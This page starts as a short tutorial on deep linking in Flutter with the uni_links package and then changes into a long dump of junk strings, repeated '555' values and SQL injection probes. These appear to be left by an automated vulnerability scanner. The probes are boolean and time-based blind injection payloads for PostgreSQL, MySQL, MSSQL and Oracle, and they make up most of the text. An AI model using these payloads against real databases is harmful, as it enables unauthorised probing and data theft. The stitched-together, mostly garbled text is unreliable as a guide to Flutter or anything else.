Deep Linking in Flutter: A Step-by-Step Implementation Guide
Introduction
Deep linking is a powerful feature in mobile app development that allows users to navigate directly to specific content or sections within an app from external sources, such as a website or another app. In this comprehensive guide, we'll walk through the process of implementing deep linking in a Flutter application, covering both Android and iOS configurations.
Prerequisites
- Flutter environment set up on your machine
- Basic understanding of Flutter and Dart
- An existing Flutter project or the willingness to create a new one for testing purposes
Adding Required Packages
First, you need to add the uni_links
package to your Flutter project, as it simplifies the process of implementing deep linking. Open your pubspec.yaml
file and add the following line under dependencies:
dependencies:
flutter:
sdk: flutter
uni_links: ^0.5.1
After adding the dependency, run flutter pub get
in your terminal to install the package.
Android Configuration
To enable deep linking in your Android app, you need to modify the AndroidManifest.xml
file located in the android/app/src/main
directory of your Flutter project. Add the following intent filter inside the
tag of your main activity:
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="http" android:host="www.yourwebsite.com" />
</intent-filter>
iOS Configuration
For iOS, you need to add URL schemes to your project. Open your iOS project in Xcode, then navigate to the Info
tab. In the URL Types
section, click on the +
button to add a new URL type. Enter a unique identifier and your URL scheme. For example:
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleURLSchemes</key>
<array>
<string>yoururlscheme</string>
</array>
<key>CFBundleURLName</key>
<string>com.yourcompany.yourapp</string>
</dict>
</array>
Replace yoururlscheme
with the actual URL scheme you want to use for your app.
Handling Incoming Links in Flutter
With the necessary configurations in place, you're now ready to handle incoming links in your Flutter code. Import the uni_links
package in your Dart file:
import 'package:uni_links/uni_links.dart';
To handle incoming links, use the getInitialLink()
method to check for any links that launched the app and the linkStream
for links received while the app is running. Here's a basic example:
void initState() {
super.initState();
getInitialLink().then((String? link) {
// Handle the initial link if the app was launched by a link
});
linkStream.listen((String? link) {
// Handle link received while the app is running
});
}
This guide covers the basics of setting up and handling deep links in Flutter apps for both Android and iOS platforms. By following these steps, you can enhance the user experience of your Flutter application by allowing direct access to specific content within your app.
wYqNGaniSkHKsZA
wYxVHbjnZ
XCuHvnGBypASeco
fQFzOCDsplYan
jGEpWYrQkbVtIdKa
XakLVoncEi
DevAGHzfX
HCfcWFOuTq
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1 OR 2+435-435-1=0+0+0+1 --
-1 OR 2+789-789-1=0+0+0+1
-1' OR 2+105-105-1=0+0+0+1 --
-1' OR 2+484-484-1=0+0+0+1 or 'RNiLRG7H'='
-1" OR 2+620-620-1=0+0+0+1 --
555
555
555*if(now()=sysdate(),sleep(15),0)
555
555
555-1 OR 624=(SELECT 624 FROM PG_SLEEP(15))--
555
-1 OR 2+310-310-1=0+0+0+1 --
-1 OR 3+310-310-1=0+0+0+1 --
555
-1 OR 2+671-671-1=0+0+0+1
-1 OR 3+671-671-1=0+0+0+1
555
-1' OR 2+846-846-1=0+0+0+1 --
555
555
-1' OR 3+846-846-1=0+0+0+1 --
555
-1' OR 2+941-941-1=0+0+0+1 or 'cR2EXmJG'='
555
-1' OR 3+941-941-1=0+0+0+1 or 'cR2EXmJG'='
555
-1" OR 2+257-257-1=0+0+0+1 --
-1" OR 3+257-257-1=0+0+0+1 --
555
555
555
555
555-1) OR 422=(SELECT 422 FROM PG_SLEEP(15))--
555*if(now()=sysdate(),sleep(15),0)
555
555-1)) OR 554=(SELECT 554 FROM PG_SLEEP(15))--
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555hmWTaHf0' OR 45=(SELECT 45 FROM PG_SLEEP(15))--
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555gbKd1a9o') OR 175=(SELECT 175 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555IDAJY11x')) OR 984=(SELECT 984 FROM PG_SLEEP(15))--
555-1; waitfor delay '0:0:15' --
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555-1); waitfor delay '0:0:15' --
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@lxcuC
555-1 waitfor delay '0:0:15' --
555
555ktrEqnq2'; waitfor delay '0:0:15' --
555
555-1 OR 336=(SELECT 336 FROM PG_SLEEP(15))--
555-1) OR 248=(SELECT 248 FROM PG_SLEEP(15))--
555
555
555
555-1)) OR 923=(SELECT 923 FROM PG_SLEEP(15))--
555
555RDsItytN' OR 781=(SELECT 781 FROM PG_SLEEP(15))--
555
-1 OR 2+221-221-1=0+0+0+1 --
-1 OR 2+67-67-1=0+0+0+1
-1' OR 2+70-70-1=0+0+0+1 --
-1' OR 2+974-974-1=0+0+0+1 or 'BqCALARi'='
-1" OR 2+520-520-1=0+0+0+1 --
555K4I8nf5X') OR 64=(SELECT 64 FROM PG_SLEEP(15))--
555*if(now()=sysdate(),sleep(15),0)
555OTec9xEh')) OR 359=(SELECT 359 FROM PG_SLEEP(15))--
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@i2URv
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
555-1; waitfor delay '0:0:15' --
555
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555
555QBdvzpaI'; waitfor delay '0:0:15' --
555
555
555
555
555
555
555-1 OR 280=(SELECT 280 FROM PG_SLEEP(15))--
555
555-1) OR 511=(SELECT 511 FROM PG_SLEEP(15))--
555
555-1)) OR 269=(SELECT 269 FROM PG_SLEEP(15))--
555
555LKown4tZ' OR 141=(SELECT 141 FROM PG_SLEEP(15))--
555
5551Qhoje6O') OR 604=(SELECT 604 FROM PG_SLEEP(15))--
555
5554loWuE9I')) OR 243=(SELECT 243 FROM PG_SLEEP(15))--
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@AzBmR
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1 OR 2+479-479-1=0+0+0+1 --
-1 OR 2+38-38-1=0+0+0+1
555
-1' OR 2+262-262-1=0+0+0+1 --
-1' OR 2+535-535-1=0+0+0+1 or '1Y8eixBB'='
-1" OR 2+342-342-1=0+0+0+1 --
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555
555
555
555
555
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
555
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
555
555
555
555-1; waitfor delay '0:0:15' --
555
555
555
555
555
555
555
555-1); waitfor delay '0:0:15' --
555
555
555
-1 OR 2+832-832-1=0+0+0+1 --
555-1 waitfor delay '0:0:15' --
-1 OR 2+122-122-1=0+0+0+1
-1' OR 2+890-890-1=0+0+0+1 --
-1' OR 2+868-868-1=0+0+0+1 or 'yvB8DYx0'='
-1" OR 2+824-824-1=0+0+0+1 --
555
555VzCaHwE0'; waitfor delay '0:0:15' --
555*if(now()=sysdate(),sleep(15),0)
555-1 OR 903=(SELECT 903 FROM PG_SLEEP(15))--
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555-1) OR 890=(SELECT 890 FROM PG_SLEEP(15))--
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555-1)) OR 885=(SELECT 885 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
555
555
555
555zxWO2Mc6' OR 235=(SELECT 235 FROM PG_SLEEP(15))--
555-1; waitfor delay '0:0:15' --
555
555CzsVyREE') OR 962=(SELECT 962 FROM PG_SLEEP(15))--
555-1); waitfor delay '0:0:15' --
555
-1 OR 2+875-875-1=0+0+0+1 --
-1 OR 2+885-885-1=0+0+0+1
-1' OR 2+758-758-1=0+0+0+1 --
-1' OR 2+529-529-1=0+0+0+1 or 'o5k5SJuv'='
-1" OR 2+682-682-1=0+0+0+1 --
555w6LHpOc8')) OR 340=(SELECT 340 FROM PG_SLEEP(15))--
555-1 waitfor delay '0:0:15' --
555*if(now()=sysdate(),sleep(15),0)
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555qMukSY3C'; waitfor delay '0:0:15' --
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@gNWiO
555-1 OR 188=(SELECT 188 FROM PG_SLEEP(15))--
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
555-1) OR 592=(SELECT 592 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
-1 OR 2+12-12-1=0+0+0+1 --
-1 OR 2+876-876-1=0+0+0+1
-1' OR 2+919-919-1=0+0+0+1 --
-1' OR 2+666-666-1=0+0+0+1 or 'usOgah8Q'='
-1" OR 2+177-177-1=0+0+0+1 --
555
555-1)) OR 596=(SELECT 596 FROM PG_SLEEP(15))--
555-1; waitfor delay '0:0:15' --
555*if(now()=sysdate(),sleep(15),0)
555AwjGzYzQ' OR 353=(SELECT 353 FROM PG_SLEEP(15))--
555-1); waitfor delay '0:0:15' --
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555YkOBi3Kr') OR 206=(SELECT 206 FROM PG_SLEEP(15))--
555-1 waitfor delay '0:0:15' --
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555SEhuZOIU')) OR 767=(SELECT 767 FROM PG_SLEEP(15))--
1
5558W0DkDlJ'; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
-1 OR 2+804-804-1=0+0+0+1 --
-1 OR 2+269-269-1=0+0+0+1
-1' OR 2+10-10-1=0+0+0+1 --
-1' OR 2+190-190-1=0+0+0+1 or 'vzEXD4h9'='
555-1 OR 53=(SELECT 53 FROM PG_SLEEP(15))--
-1" OR 2+799-799-1=0+0+0+1 --
555-1; waitfor delay '0:0:15' --
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@Cp64I
555-1) OR 437=(SELECT 437 FROM PG_SLEEP(15))--
1*if(now()=sysdate(),sleep(15),0)
555-1); waitfor delay '0:0:15' --
555-1)) OR 406=(SELECT 406 FROM PG_SLEEP(15))--
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
555-1 waitfor delay '0:0:15' --
555GDVI6BdH' OR 583=(SELECT 583 FROM PG_SLEEP(15))--
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
555LC29Ckqb'; waitfor delay '0:0:15' --
555J4QCn1Yq') OR 610=(SELECT 610 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555-1 OR 112=(SELECT 112 FROM PG_SLEEP(15))--
555dVZgACWM')) OR 227=(SELECT 227 FROM PG_SLEEP(15))--
1-1; waitfor delay '0:0:15' --
555-1) OR 719=(SELECT 719 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1-1); waitfor delay '0:0:15' --
555-1)) OR 510=(SELECT 510 FROM PG_SLEEP(15))--
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
1-1 waitfor delay '0:0:15' --
555����%2527%2522\'\"
@@dSp2u
555zspKl3Sz' OR 340=(SELECT 340 FROM PG_SLEEP(15))--
555
555
555
1TWD7hzP9'; waitfor delay '0:0:15' --
555
555
555
555
555SZcsejjT') OR 840=(SELECT 840 FROM PG_SLEEP(15))--
1-1 OR 815=(SELECT 815 FROM PG_SLEEP(15))--
555
555
555rPA9LBhT')) OR 39=(SELECT 39 FROM PG_SLEEP(15))--
1-1) OR 257=(SELECT 257 FROM PG_SLEEP(15))--
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1-1)) OR 496=(SELECT 496 FROM PG_SLEEP(15))--
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@acXOE
1tDXQ1DJr' OR 331=(SELECT 331 FROM PG_SLEEP(15))--
555
555
1T2wAR2ZE') OR 10=(SELECT 10 FROM PG_SLEEP(15))--
555
555
1rrGlmnN7')) OR 109=(SELECT 109 FROM PG_SLEEP(15))--
555
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
����%2527%2522\'\"
@@VGRKN
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1 OR 2+175-175-1=0+0+0+1 --
-1 OR 2+298-298-1=0+0+0+1
-1' OR 2+526-526-1=0+0+0+1 --
-1' OR 2+312-312-1=0+0+0+1 or '9Xj2pfno'='
-1" OR 2+483-483-1=0+0+0+1 --
555
555*if(now()=sysdate(),sleep(15),0)
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
555
555
555
555
555-1; waitfor delay '0:0:15' --
555
-1 OR 2+56-56-1=0+0+0+1 --
-1 OR 2+824-824-1=0+0+0+1
-1' OR 2+225-225-1=0+0+0+1 --
-1' OR 2+407-407-1=0+0+0+1 or 'pDSgetZH'='
-1" OR 2+78-78-1=0+0+0+1 --
555
555-1); waitfor delay '0:0:15' --
555*if(now()=sysdate(),sleep(15),0)
555
555
555
555
555
555
555-1 waitfor delay '0:0:15' --
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555p9oTu9T5'; waitfor delay '0:0:15' --
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555-1 OR 265=(SELECT 265 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555-1) OR 953=(SELECT 953 FROM PG_SLEEP(15))--
555-1; waitfor delay '0:0:15' --
555-1)) OR 46=(SELECT 46 FROM PG_SLEEP(15))--
555-1); waitfor delay '0:0:15' --
555
555XXRjHXBd' OR 161=(SELECT 161 FROM PG_SLEEP(15))--
555-1 waitfor delay '0:0:15' --
555
555GUiAPTb3') OR 31=(SELECT 31 FROM PG_SLEEP(15))--
555K5OyUVe4'; waitfor delay '0:0:15' --
555Yz1n29qZ')) OR 472=(SELECT 472 FROM PG_SLEEP(15))--
555-1 OR 472=(SELECT 472 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555-1) OR 97=(SELECT 97 FROM PG_SLEEP(15))--
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@aAcdh
555-1)) OR 581=(SELECT 581 FROM PG_SLEEP(15))--
555
555
555
555
555u81A5YvT' OR 930=(SELECT 930 FROM PG_SLEEP(15))--
555
555
555YXQBCj0j') OR 782=(SELECT 782 FROM PG_SLEEP(15))--
555
-1 OR 2+450-450-1=0+0+0+1 --
-1 OR 2+674-674-1=0+0+0+1
-1' OR 2+798-798-1=0+0+0+1 --
-1' OR 2+654-654-1=0+0+0+1 or 'LJoTyGPy'='
-1" OR 2+274-274-1=0+0+0+1 --
555WeczZk4g')) OR 885=(SELECT 885 FROM PG_SLEEP(15))--
555*if(now()=sysdate(),sleep(15),0)
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555����%2527%2522\'\"
@@fBfcy
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
1
555-1; waitfor delay '0:0:15' --
1
-1 OR 2+864-864-1=0+0+0+1 --
-1 OR 2+259-259-1=0+0+0+1
-1' OR 2+308-308-1=0+0+0+1 --
-1' OR 2+559-559-1=0+0+0+1 or 'hB8tOcd9'='
-1" OR 2+794-794-1=0+0+0+1 --
555-1); waitfor delay '0:0:15' --
1*if(now()=sysdate(),sleep(15),0)
555-1 waitfor delay '0:0:15' --
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
555FyC8lvLz'; waitfor delay '0:0:15' --
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
555-1 OR 208=(SELECT 208 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555-1) OR 950=(SELECT 950 FROM PG_SLEEP(15))--
1-1; waitfor delay '0:0:15' --
555-1)) OR 24=(SELECT 24 FROM PG_SLEEP(15))--
555
1-1); waitfor delay '0:0:15' --
5554PXQR8Jg' OR 15=(SELECT 15 FROM PG_SLEEP(15))--
555
555
555
555
555
555
1-1 waitfor delay '0:0:15' --
555HPUTED9M') OR 785=(SELECT 785 FROM PG_SLEEP(15))--
555
17H5jzlar'; waitfor delay '0:0:15' --
555wBwUkFlx')) OR 976=(SELECT 976 FROM PG_SLEEP(15))--
555
1-1 OR 566=(SELECT 566 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
1-1) OR 224=(SELECT 224 FROM PG_SLEEP(15))--
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555
555����%2527%2522\'\"
@@RMw1f
1-1)) OR 645=(SELECT 645 FROM PG_SLEEP(15))--
555
555
1MJvhNtBh' OR 287=(SELECT 287 FROM PG_SLEEP(15))--
555
555
555
11q1bfHfs') OR 814=(SELECT 814 FROM PG_SLEEP(15))--
555
1umyTrwM2')) OR 597=(SELECT 597 FROM PG_SLEEP(15))--
555
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
����%2527%2522\'\"
@@iavH4
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
MeHCXEmRZGF